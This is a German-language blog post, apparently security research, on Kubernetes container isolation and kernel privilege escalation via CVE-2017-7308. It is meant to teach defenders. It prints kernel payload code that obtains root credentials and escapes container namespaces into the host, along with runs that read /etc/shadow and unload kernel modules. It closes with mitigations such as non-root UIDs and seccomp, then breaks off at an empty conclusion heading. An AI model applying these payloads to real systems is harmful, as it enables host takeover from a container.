Skip to main content

Kernel-Privilege-Eskalation: Wie sich die Kubernetes-Container-Isolierung auf Privilegieneskalationsangriffe auswirkt

Artikel von
Headshot of Kamil Potrec

Kamil Potrec

3. Dezember 2020

0 Min. Lesezeit

Tagsüber analysiere ich Terraform-Code und Kubernetes-Objektkonfigurationsdateien und identifiziere gängige Sicherheitsprobleme. Wenn die Sonne untergeht, ziehe ich meinen Hoodie an, starte Linux-VMs und Debugger und sehe mir die Technologien genauer an, aus denen das Cloud-native-Ökosystem besteht.

In diesem Beitrag untersuchen wir, wie sich die Kubernetes-Container-Isolierung auf Privilegieneskalationsangriffe auswirkt. Anhand gängiger Kernel-Exploitation-Techniken finden wir heraus, wie Container-Abstraktionsschichten uns den Weg zur begehrten Root-Shell erschweren können.

Was ist eine Privilegieneskalation?

Privilegieneskalation bezeichnet den Vorgang, sich weitergehende Berechtigungen für eine Ressource zu verschaffen. Eine Kernel-Privilegieneskalation ist ein Vorgang, bei dem diese Berechtigungen durch Ausnutzung einer Schwachstelle in einem von vielen Kernel-Einstiegspunkten erlangt werden, die auch als Angriffsvektoren bezeichnet werden. Ein Angriffsvektor ist schlicht ein Pfad, über den auf den anfälligen Code zugegriffen werden kann.

Wir interagieren auf vielfältige Weise mit dem Kernel: indem wir das Dateisystem lesen, eine Gerätedatei öffnen, Systemaufrufe ausführen oder ein Paket über die Netzwerkschnittstelle senden. All diese Aktionen erfordern, dass im Kernel-Space ein Vorgang ausgeführt wird. Führt der Kernel eine Aktion im Auftrag eines Benutzerprozesses aus, sagen wir, dass er sich in einem Prozesskontext befindet. Jeder Prozess wird im Kernel durch eine struct task_struct-Struktur dargestellt. Diese sind in einer zirkulären, doppelt verketteten Liste gespeichert und werden über PER_CPU-Variablen auf der x86-64-Architektur abgerufen, wenn ein Kontextwechsel vom User-Space in den Kernel-Space erfolgt.

Eine task_struct enthält ein Element vom Typ struct creds, das die Benutzerkennung und die dem Prozess zugeordneten Capabilities speichert. Anhand dieser Informationen entscheidet der Kernel, ob ein Prozess eine Aktion ausführen darf, zum Beispiel einen bestimmten Systemaufruf. Bei einer Kernel-Privilegieneskalation besteht das allgemeine Ziel darin, die Credentials-Struktur zu ersetzen oder zu aktualisieren, um weitergehende Berechtigungen zu erhalten.

Wie funktioniert eine Privilegieneskalation?

Die gängigste Technik, um erhöhte Berechtigungen im Kernel-Space zu erlangen, ist die Kombination der Kernel-Funktionen [commit_creds](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L437)([prepare_kernel_cred(0)](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L682)). Das ist erst möglich, wenn ein Exploit die Kontrolle über einen Instruction Pointer (RIP) erlangt und die Schutzmechanismen für Speicherzugriff und Randomisierung erfolgreich umgangen hat. Mit [prepare_kernel_cred](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L682) lässt sich ein Credentials-Objekt auf Grundlage eines bestehenden Objekts erzeugen oder, großzügiger gesagt, ein Standardobjekt mit vollständigen Root-Berechtigungen generieren. [commit_creds](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L437) aktualisiert einfach die task_struct des aktuellen Prozesses mit dem neuen Credentials-Objekt.

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
   ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
       ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
   );
}

Kernel-Exploitation ist ein sehr umfangreiches Gebiet. Deshalb betrachten wir in diesem Blogbeitrag nur eine stark vereinfachte Form der Kernel-Privilegieneskalation. Der Kernel verfügt über zahlreiche Sicherheitsmechanismen, die Exploits erschweren sollen. SMEP, SMAP, KASLR und KPTI sind Mechanismen, die in Hardware oder im Kernel implementiert sind. Ob sie aktiviert oder deaktiviert sind, hängt von der verwendeten Distribution oder der Systemadministration ab. Diese Einstellungen lassen sich nicht direkt über Kubernetes steuern und sind daher nicht Gegenstand dieses Beitrags.

Wir verwenden eine ältere Schwachstelle in der Implementierung von af_packet, für die CVE-2017-7308 vergeben wurde. Die Schwachstelle lässt sich mit der Capability CAP_NET_RAW ausnutzen, da dafür Zugriff auf Raw-Sockets erforderlich ist. Die Schwachstelle wird hier ausführlich beschrieben, daher gehen wir nicht näher darauf ein. Alle erforderlichen Capabilities können wir in einem unprivilegierten User-Namespace erlangen. In der Ubuntu-Distribution ist der Zugriff auf User-Namespaces standardmäßig not eingeschränkt.

dev@node1:~/exploit$ grep CONFIG_USER_NS /boot/config-4.15.0-122-generic
CONFIG_USER_NS=y
dev@node1:~/exploit$ sudo sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
dev@node1:~/exploit$

Legen wir los

Sehen wir uns zunächst den durchgängigen Ablauf in einer Umgebung ohne Container an.

Wir müssen den GNU Debugger (gdb) mit dem VM-Stub verbinden. Sobald der Debugger verbunden ist, können wir an einer geeigneten Stelle einen Breakpoint setzen. In diesem Fall verwenden wir einen mlock-Systemaufruf, den wir im Exploit manuell auslösen können, wann immer wir den internen Zustand des laufenden Prozesses untersuchen möchten. Beachten Sie, dass gdb nur dann anhält, wenn der Name des ausgeführten Prozesses „exploit“ lautet. So verringern wir das Risiko, dass ein anderer Prozess auf dem System den Breakpoint auslöst. Die Einrichtungsschritte sind praktischerweise in einer gdb-Befehlsdatei skriptgesteuert. Wir führen GDB mit dem Flag -x aus, um die Einrichtung konsistent und wiederholbar vorzunehmen.

dev@pwnbox:/$ cat setup.gdb
set print pretty on
file vmlinux
target remote 127.0.0.1:11234
break sys_mlock if $_streq($lx_current().comm, "exploit")
continue
dev@pwnbox:/$ gdb -q -x setup.gdb
0xffffffff819c24be in native_safe_halt () at ./arch/x86/include/asm/irqflags.h:61
61  }
Breakpoint 1 at 0xffffffff8121da50: file mm/mlock.c, line 709.

Die Breakpoints werden ausgelöst, bevor der unprivilegierte User-Namespace erstellt wird, unmittelbar vor der Ausführung der Schwachstelle und nachdem wir Root-Credentials erlangt haben. Dieses Verhalten setzen wir um, indem wir einfach den entsprechenden Systemaufruf ausführen.

syscall(149, 0, 0); // Break before CLONE_NEWUSER
if (unshare(CLONE_NEWUSER) != 0) {
   perror("[-] unshare(CLONE_NEWUSER)");
   exit(EXIT_FAILURE);
}
/* OMITTED */printf("[*] executing get root payload %p\n", &get_root_payload);
syscall(149, 0, 0); // Break before commit_creds
exploit_cve_2017_7308((void *)&get_root_payload);
printf("[*] done\n");
syscall(149, 0, 0); // Break after commit_creds

Jetzt können wir den Exploit ausführen:

dev@node1:~/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x558abc4dd583

Unser erster Breakpoint wird wie erwartet ausgelöst. Mit der gdb-Hilfsfunktion $lx_current können wir die Cred-Struktur untersuchen. Die effektive UID des aktuellen Prozesses ist 1000, und wie erwartet verfügt er im aktuellen Namespace über keine effektiven Capabilities.

Thread 6 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$1 = {
 usage = {counter = 4},
 uid = { val = 1000 },
 gid = { val = 1000 },
 suid = { val = 1000 },
 sgid = { val = 1000 },
 euid = { val = 1000 },
 egid = { val = 1000 },
 fsuid = { val = 1000 },
 fsgid = { val = 1000 },
 securebits = 0,
 cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {0, 0} },
 cap_effective = { cap = {0, 0} },
 cap_bset = { cap = {4294967295, 63} },
 cap_ambient = { cap = {0, 0} },
 jit_keyring = 0 '\000',
 session_keyring = 0xffff888331051f00,
 process_keyring = 0x0 <irq_stack_union>,
 thread_keyring = 0x0 <irq_stack_union>,
 request_key_auth = 0x0 <irq_stack_union>,
 security = 0xffff8882bb29dd60,
 user = 0xffff88832dd89f00,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 group_info = 0xffff8882b9181480,
 {
   non_rcu = 0,
   rcu = {
     next = 0x0 <irq_stack_union>,
     func = 0x0 <irq_stack_union>
   }
 }
}
(gdb)

Der zweite Breakpoint wird nach einem Aufruf von unshare ausgelöst, durch den ein neuer User-Namespace für den Prozess erstellt wird. Beachten Sie, dass die UID unverändert bleibt, sich aber die Attribute cap_effective und user_ns geändert haben. Capabilities werden als Bitmaske gespeichert, die im Hexadezimalformat besser lesbar ist.

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$2 = {
 /* OMITTED */ uid = { val = 1000 },
 gid = { val = 1000 },
 /* OMITTED */ euid = { val = 1000 },
 /* OMITTED */ cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {4294967295, 63} },
 cap_effective = { cap = {4294967295, 63} },
 /* OMITTED */ user = 0xffff88832dd89f00,
 user_ns = 0xffff8882c1e0b800,
 /* OMITTED */}
(gdb) p/x 4294967295
$4 = 0xffffffff 
(gdb)

Unser letzter Breakpoint wird ausgelöst, nachdem die Schwachstelle ausgenutzt wurde. Beachten Sie, dass die UID nun auf 0 gesetzt ist und der User-Namespace auf init_user_ns zurückgesetzt wurde, den Init-User-Namespace des Hosts.

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$3 = {
 /* OMITTED */ uid = { val = 0 },
 /* OMITTED */ 
 euid = { val = 0 },
 /* OMITTED */ cap_effective = { cap = {4294967295, 63} },
 /* OMITTED */ user = 0xffffffff82454160 <root_user>,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 group_info = 0xffffffff8245b568 <init_groups>,
 /* OMITTED */ }

Unsere Shell kehrt zurück, und wir verfügen nun über vollständige Root-Berechtigungen auf dem Host.

dev@node1:~/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x558abc4dd583
[*] done
[+] got r00t
root@node1:/home/dev/exploit# id
uid=0(root) gid=0(root) groups=0(root)
root@node1:/home/dev/exploit#

Kernel-Exploit in einem Container

Als Nächstes versuchen wir, denselben Exploit in einem Pod auszuführen. Dazu haben wir eine einfache Pod-Objektdefinition erstellt und im Cluster bereitgestellt.

apiVersion: v1
kind: Pod
metadata:
 name: very-default-pod
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     command: [ "sleep", "infinity" ]

Sehen wir uns an, was in der Standardkonfiguration passiert.

dev@pwnbox:/$ kubectl get nodes
NAME    STATUS   ROLES    AGE   VERSION
node1   Ready    master   8d    v1.18.10
dev@pwnbox:/$ kubectl get pods
No resources found in default namespace.
dev@pwnbox:/$ kubectl apply -f very-default-pod.yaml
pod/test created
dev@pwnbox:/$ kubectl get pods
NAME   READY   STATUS    RESTARTS   AGE
test   1/1     Running   0          4s
dev@pwnbox:/$ kubectl exec -it test -- /bin/bash
root@test:~# id
uid=0(root) gid=0(root) groups=0(root)

Standardmäßig Root

Das im Beispiel verwendete Image gibt keinen unprivilegierten Benutzer an, und Kubernetes erzwingt standardmäßig keine UID. Es sieht also so aus, als hätten wir Root-Zugriff, ohne den Kernel ausnutzen zu müssen. Wir führen denselben Exploit erneut aus und halten den Kernel direkt vor der Ausführung des anfälligen Codepfads an. Ein Blick auf die effektiven Capabilities des Prozesses zeigt, dass einige fehlen. Der Wert ist auf 2818844155 gesetzt und entspricht dem standardmäßigen Capability-Satz, den die Docker-Runtime gewährt.

(gdb) p *($lx_current().cred)
$1 = {
 /* OMITTED */ euid = { val = 0 },
 /* OMITTED */ securebits = 0,
 cap_inheritable = { cap = {2818844155, 0} },
 cap_permitted = { cap = {2818844155, 0} },
 cap_effective = { cap = {2818844155, 0} },
 cap_bset = { cap = {2818844155, 0} },
 cap_ambient = { cap = {0, 0} },
 /* OMITTED */ 
 user = 0xffffffff82454160 <root_user>,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 /* OMITTED */ }

Nach Abschluss des Exploits umfasst der effektive Satz wieder alle Capabilities.

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$2 = {
 /* OMITTED */ securebits = 0,
 cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {4294967295, 63} },
 cap_effective = { cap = {4294967295, 63} },
 cap_bset = { cap = {4294967295, 63} },
 /* OMITTED */}

Diesmal erzwingen wir für den Container eine Nicht-Root-UID, indem wir die Sicherheitskontextattribute runAs festlegen.

apiVersion: v1
kind: Pod
metadata:
 name: non-root-pod
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     securityContext:
       runAsUser: 1000
       runAsGroup: 1000
     command: [ "sleep", "infinity" ]

Diesmal erhalten wir nicht von Anfang an Root-Berechtigungen. Der Exploit funktioniert jedoch genauso, mit einem wesentlichen Unterschied beim Endergebnis. Es sieht so aus, als hätten wir alle Berechtigungen, aber wir sehen nicht alles auf dem System.

dev@pwnbox:/$ kubectl apply -f non-root-uid-pod.yaml
pod/test created
dev@pwnbox:/$ kubectl exec -it test -- /bin/bash
groups: cannot find name for group ID 1000
I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x55e55ff5a583
[*] done
[+] got r00t
root@test:/mnt/dev/exploit# id
uid=0(root) gid=0(root) groups=0(root)
root@test:/mnt/dev/exploit# cat /etc/shadow
root:*:18198:0:99999:7:::
daemon:*:18198:0:99999:7:::
bin:*:18198:0:99999:7:::
sys:*:18198:0:99999:7:::
sync:*:18198:0:99999:7:::
games:*:18198:0:99999:7:::
man:*:18198:0:99999:7:::
lp:*:18198:0:99999:7:::
mail:*:18198:0:99999:7:::
news:*:18198:0:99999:7:::
uucp:*:18198:0:99999:7:::
proxy:*:18198:0:99999:7:::
www-data:*:18198:0:99999:7:::
backup:*:18198:0:99999:7:::
list:*:18198:0:99999:7:::
irc:*:18198:0:99999:7:::
gnats:*:18198:0:99999:7:::
nobody:*:18198:0:99999:7:::
_apt:*:18198:0:99999:7:::
messagebus:*:18207:0:99999:7:::
root@test:/mnt/dev/exploit# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host
      valid_lft forever preferred_lft forever
2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
   link/ipip 0.0.0.0 brd 0.0.0.0
root@test:/mnt/dev/exploit#

Im Namespace gefangen

Wir haben alle Capabilities und die Root-UID erlangt, aber lediglich die Capability-Schranke des Containers umgangen. Auf das Dateisystem des Hosts haben wir weiterhin keinen Zugriff. Deshalb können wir weder alle Prozesse sehen noch über die Netzwerkschnittstellen des Hosts kommunizieren.

root@test:~# ls -la /dev/
total 4
drwxr-xr-x 5 root root  360 Nov 23 14:04 .
drwxr-xr-x 1 root root 4096 Nov 23 14:04 ..
lrwxrwxrwx 1 root root   11 Nov 23 14:04 core -> /proc/kcore
lrwxrwxrwx 1 root root   13 Nov 23 14:04 fd -> /proc/self/fd
crw-rw-rw- 1 root root 1, 7 Nov 23 14:04 full
drwxrwxrwt 2 root root   40 Nov 23 14:04 mqueue
crw-rw-rw- 1 root root 1, 3 Nov 23 14:04 null
lrwxrwxrwx 1 root root    8 Nov 23 14:04 ptmx -> pts/ptmx
drwxr-xr-x 2 root root    0 Nov 23 14:04 pts
crw-rw-rw- 1 root root 1, 8 Nov 23 14:04 random
drwxrwxrwt 2 root root   40 Nov 23 14:04 shm
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stdout -> /proc/self/fd/1
-rw-rw-rw- 1 root root    0 Nov 23 14:04 termination-log
crw-rw-rw- 1 root root 5, 0 Nov 23 14:04 tty
crw-rw-rw- 1 root root 1, 9 Nov 23 14:04 urandom
crw-rw-rw- 1 root root 1, 5 Nov 23 14:04 zero
root@test:~# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   4532   752 ?        Ss   14:04   0:00 sleep infinity
root         7  0.0  0.0  18504  3352 pts/0    Ss   14:04   0:00 /bin/bash
root        24  0.0  0.0  34400  2776 pts/0    R+   14:04   0:00 ps aux
root@test:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
   link/ipip 0.0.0.0 brd 0.0.0.0
4: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
   link/ether 4e:52:2c:19:28:37 brd ff:ff:ff:ff:ff:ff link-netnsid 0
   inet 10.233.90.139/32 scope global eth0
      valid_lft forever preferred_lft forever
root@test:~#

An diesem Punkt können wir beliebige Kernel-Module laden. Das ist jedoch auffällig und löst die meisten grundlegenden Intrusion-Detection-Systeme aus – so sollte man zumindest hoffen. Um das zu testen, entfernen wir ein nicht verwendetes Modul. Beachten Sie, dass Ihr Docker-Image Modul-Pakete enthalten muss. Bei Debian-Images müssen Sie das Paket kmod installieren.

root@test:/mnt/dev/exploit# lsmod
Module                  Size  Used by
i2c_piix4              24576  0
binfmt_misc            20480  1
xt_CT                  16384  8
xt_tcpudp              16384  12
/* OMITTED */pata_acpi              16384  0
floppy                 77824  0
root@test:/mnt/dev/exploit# rmmod i2c_piix4
root@test:/mnt/dev/exploit# lsmod | grep i2c
root@test:/mnt/dev/exploit#

Stattdessen können wir unseren Kernel-Exploit erweitern und das Objekt [struct nsproxy](https://github.com/torvalds/linux/blob/master/include/linux/nsproxy.h#L31) im aktuellen Kontext so setzen, dass es auf die gewünschten Namespaces verweist. Namespaces werden über Inodes identifiziert, aber der Kernel stellt die Adresse von [init_nsproxy](https://github.com/torvalds/linux/blob/master/kernel/nsproxy.c#L32) bereit. Damit können wir die Init-Namespaces des Hosts in unseren Container kopieren.

(gdb) info address init_nsproxy
Symbol "init_nsproxy" is static storage at address 0xffffffff8245b2a0.
(gdb

Mit dem Systemaufruf sys_setns lassen sich die Namespaces des Prozesskontexts aktualisieren. In drei zentrale Namespaces wollen wir PrivEsc durchführen: PID, Netzwerk und Mount. Zunächst müssen wir eine Referenz auf die Root-Namespaces erhalten. Dazu verschieben wir PID 1 des Containers in die Namespaces des Hosts. Anschließend können wir über das /proc/-Dateisystem von PID 1 auf beliebige Namespaces zugreifen. Zum Schluss verschieben wir den aktuellen Prozess in die benötigten Namespaces.

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
typedef unsigned long long __attribute__((regparm(3))) (* _find_task_by_vpid)(unsigned int vnr);
typedef void __attribute__((regparm(3))) (* _switch_task_namespaces)(void *tsk, void *new);
typedef long __attribute__((regparm(4))) (* _do_sys_open)(int fd, const char *filename, int flags, unsigned short mode);
typedef long __attribute__((regparm(3))) (* _sys_setns)(int fd, int nstype);

void get_root_payload(void) {
   ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
       ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
   );
   // [1] - Identify PID 1 task in current PID namespace
   unsigned long long task = ((_find_task_by_vpid)(KERNEL_BASE + FIND_TASK_BY_VPID))(1);
   // [2] - Move PID 1 into init namespaces
   ((_switch_task_namespaces)(KERNEL_BASE + SWITCH_TASK_NS))((void *)task, (void *)(KERNEL_BASE + INIT_NSPROXY));
   // [3] - Read mount namespace inode
   long fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
   // [4] - Move current process into host’s mount namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
   // [5] - Read pid namespace inode
   fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
   // [6] - Move current process into host’s pid namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
   // [7] - Read network namespace inode
   fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/net", O_RDONLY, 0);
   // [8] - Move current process into host’s network namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
}

Nach der Ausführung unseres Exploits können wir auf alle relevanten Systemressourcen zugreifen.

I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ id
uid=1000 gid=1000 groups=1000
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x559f462d7583
[*] done
[+] got r00t
root@test:/# id
uid=0(root) gid=0(root) groups=0(root)root@test:/# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.2  0.0 226012  9556 ?        Ss   14:30   0:02 /sbin/init nokaslr nopti
root         2  0.0  0.0      0     0 ?        S    14:30   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I    14:30   0:00 [kworker/0:0]
root         4  0.0  0.0      0     0 ?        I<   14:30   0:00 [kworker/0:0H]
root         6  0.0  0.0      0     0 ?        I<   14:30   0:00 [mm_percpu_wq]
/* OMITTED */dev      18468  0.0  0.0   4532   724 ?        Ss   14:44   0:00 sleep infinity
dev      18642  0.0  0.0  18508  3360 pts/0    Ss   14:44   0:00 /bin/bash
root     19762  0.2  0.0   4516   752 pts/0    S    14:45   0:00 ./exploit
root     19767  0.0  0.0  18516  3412 pts/0    S    14:45   0:00 /bin/bash -i
root     19803  0.0  0.0  36708  3172 pts/0    R+   14:45   0:00 ps aux
root@test:/# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 52:54:00:8a:6e:73 brd ff:ff:ff:ff:ff:ff
   inet 10.100.100.80/24 brd 10.100.100.255 scope global dynamic ens3
      valid_lft 2704sec preferred_lft 2704sec
   inet6 fe80::5054:ff:fe8a:6e73/64 scope link
      valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
   link/ether 02:42:00:d6:f9:0a brd ff:ff:ff:ff:ff:ff
   inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
      valid_lft forever preferred_lft forever
4: kube-ipvs0: <BROADCAST,NOARP> mtu 1500 qdisc noop state DOWN group default
   link/ether 76:17:6a:aa:ea:9e brd ff:ff:ff:ff:ff:ff
   inet 10.233.59.218/32 brd 10.233.59.218 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.0.1/32 brd 10.233.0.1 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.0.3/32 brd 10.233.0.3 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.17.50/32 brd 10.233.17.50 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
/* OMITTED */14: cali1037a54e65e@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
   link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 0
   inet6 fe80::ecee:eeff:feee:eeee/64 scope link
      valid_lft forever preferred_lft forever
root@test:/#
root@test:/# reboot
Failed to connect to bus: No data available

Einsatzmöglichkeiten von Capabilities

Die Standard-Capabilities, die Kubernetes-Containern (mit der Docker-Runtime) zugewiesen werden, umfassen CAP_NET_RAW. Bedeutet das, dass wir die Schwachstelle auch dann ausnutzen können, wenn unprivilegierte User-Namespaces deaktiviert sind? Wir haben Code hinzugefügt, um die effektiven Capabilities festzulegen, die für den Zugriff auf den anfälligen Code erforderlich sind.

cap_t caps;
caps = cap_get_proc();
if (caps == NULL){
   perror("[-] Failed to get current caps\n");
   exit(EXIT_FAILURE);
}
cap_value_t cap_list[1];
cap_list[0] = CAP_NET_RAW;
if(cap_set_flag(caps, CAP_EFFECTIVE, 1, cap_list, CAP_SET) == -1){
   perror("[-] Failed to set effective caps\n");
   exit(EXIT_FAILURE);
}
if(cap_set_proc(caps) != 0){
   perror("[-] Failed to set process cpas\n");
   exit(EXIT_FAILURE);
}

Wie Sie sehen, schlägt der Exploit fehl. Aber warum?

I have no name!@test:/root$ id
uid=1000 gid=1000 groups=1000
I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[-] unshare(CLONE_NEWUSER): Operation not permitted
I have no name!@test:/mnt/dev/exploit$

Das liegt an vererbbaren Capabilities und ihrer Implementierung. Obwohl die Container-Runtime dem Prozess im Container diese Capabilities gewährt hat, müssen sie über sys_capset ausdrücklich als effektiv festgelegt werden. Derzeit können nur Prozesse mit UID 0 effektive Capabilities festlegen. Wenn Sie also als Nicht-Root-Benutzer arbeiten, aber dennoch Zugriff auf bestimmte Capabilities benötigen, müssen Sie eine suid-Binärdatei in Ihren Container aufnehmen, um die effektiven Capabilities festzulegen. Alternativ können Sie die erforderlichen Capabilities direkt für die ausführbare Datei festlegen und die Container-Capabilities entfernen. Datei-Capabilities sind auf Dateisysteme mit erweiterten Attributen beschränkt.

Seccomp als Rettung

Sprechen wir nun darüber, ob ein Angriffsvektor erreichbar ist. Unser Exploit funktioniert, weil unprivilegierte Benutzer in unprivilegierten User-Namespaces die Capability CAP_NET_RAW erlangen können. Im obigen Abschnitt zu Capabilities haben wir gesehen, welche Auswirkungen das auf unseren Exploit hat. Es gibt noch eine weitere Gegenmaßnahme, mit der sich dieser Angriff verhindern lässt – und ja, Sie können sie über Kubernetes aktivieren.

Seccomp ist ein Mechanismus, mit dem sich die Angriffsfläche des Kernels durch das Filtern von Systemaufrufen verkleinern lässt. Kubernetes wendet standardmäßig jedoch kein Seccomp-Profil auf Ihren Container an. Das bedeutet, dass alle Systemaufrufe erlaubt sind, vorbehaltlich der bereits besprochenen Berechtigungsprüfungen. Das lässt sich ändern, indem Sie der Objektdeklaration eine Annotation hinzufügen (vor Version 1.19) oder das Seccomp-Profilattribut im Pod-Sicherheitskontext festlegen.

apiVersion: v1
kind: Pod
metadata:
 name: seccomp-pod
 annotations:
   seccomp.security.alpha.kubernetes.io/pod: runtime/default
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     command: [ "sleep", "infinity" ]

Sehen wir uns an, wie sich das vom Container-Runtime bereitgestellte Standardprofil (in diesem Fall Docker) auf unseren Exploit auswirkt. Wir erhalten die Fehlermeldung „Operation not permitted“, weil das Standard-Seccomp-Profil den Systemaufruf unshare nicht zulässt.

I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[-] unshare(CLONE_NEWUSER): Operation not permitted
I have no name!@test:/mnt/dev/exploit$

Seccomp eignet sich hervorragend, um unnötige Kernel-Einstiegspunkte einzuschränken. Systemaufrufe wie unshare oder userfaultfd lassen sich für die meisten Anwendungsfälle ohne Weiteres deaktivieren und können bestimmte Exploitation-Techniken wirksam verhindern. Es gibt jedoch auch Aufrufe, deren Blockierung schwierig wäre, etwa waitid. Weitere Informationen zu diesen und anderen Techniken zum Ausnutzen von Containern finden Sie hier.

Fazit

